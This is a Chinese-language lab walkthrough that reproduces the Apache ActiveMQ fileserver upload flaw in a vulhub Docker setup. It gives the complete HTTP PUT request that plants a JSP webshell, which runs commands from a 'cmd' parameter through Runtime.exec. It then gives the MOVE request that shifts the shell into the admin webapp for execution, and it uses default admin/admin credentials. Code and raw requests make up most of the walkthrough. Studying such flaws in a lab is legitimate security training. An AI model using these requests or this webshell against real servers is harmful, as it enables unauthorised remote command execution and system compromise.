一.环境配置
腾讯云的ubuntu操作系统,已经安装有docker 和 vulhub
直接来到




启动环境docker-compose,要在root权限下运行。

docker-compose up -d
若出现等待时间过长的情况,请参考这篇文章http://t.csdnimg.cn/SYhbE

若访问成功则环境搭建成功。

二.漏洞复现
目录拼接admin,进行登录操作。默认账户密码为admin/admin。
访问以下目录,找到文件上传的地址。
http://公网ip:8161/admin/test/systemProperties.jsp

随便抓一个页面的包,我这里就抓刚刚查询目录那个页面的包。

写入webshell文件。
将报文转发到Repeater。

进入Repeater中的Header模块,修改报文第一行,并在报文最后添加木马。

返回Repeater中的Raw模块,点击Go发送报文。

PUT /fileserver/1.jsp HTTP/1.1
Host: 公网ip:8161
Cache-Control: max-age=0
Authorization: Basic YWRtaW46YWRtaW4=
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/127.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: JSESSIONID=rveyn........................
Connection: close
<%@ page import="java.io.*" %>
<%
try {
String cmd = request.getParameter("cmd");
Process child = Runtime.getRuntime().exec(cmd);
InputStream in = child.getInputStream();
int c;
while ((c = in.read()) != -1) {
out.print((char)c);
}
in.close();
try {
child.waitFor();
} catch (InterruptedException e) {
e.printStackTrace();
}
} catch (IOException e) {
System.err.println(e);
}
%>
上传成功。

访问http://公网ip:8161/fileserver/1.jsp
发现上传成功,但没有解析

ActiveMQ Web控制台分为三个应用程序:admin,api和fileserver,其中admin是管理员页面,api是界面,fileserver是用于存储文件的界面;admin和api需要先登录才能使用,fileserver不需要登录。
利用MOVE,将木马文件移动到api或者admin,我这边是移动到了admin目录下
还是刚刚的报文,更该第一行和增加第三行。第三行的路径就是最开始查询到的目录。

MOVE /fileserver/1.jsp HTTP/1.1
Host: 公网ip:8161
Destination:file:///opt/activemq/webapps/admin/1.jsp
Cache-Control: max-age=0
Authorization: Basic YWRtaW46YWRtaW4=
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/127.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: JSESSIONID=yts9........................
Connection: close
Content-Length: 397
<%@ page import="java.io.*" %>
<%
try {
String cmd = request.getParameter("cmd");
Process child = Runtime.getRuntime().exec(cmd);
InputStream in = child.getInputStream();
int c;
while ((c = in.read()) != -1) {
out.print((char)c);
}
in.close();
try {
child.waitFor();
} catch (InterruptedException e) {
e.printStackTrace();
}
} catch (IOException e) {
System.err.println(e);
}
%>
访问文件http://公网ip:8161/admin/1.jsp?cmd=ls

执行命令whoami

漏洞复现完成。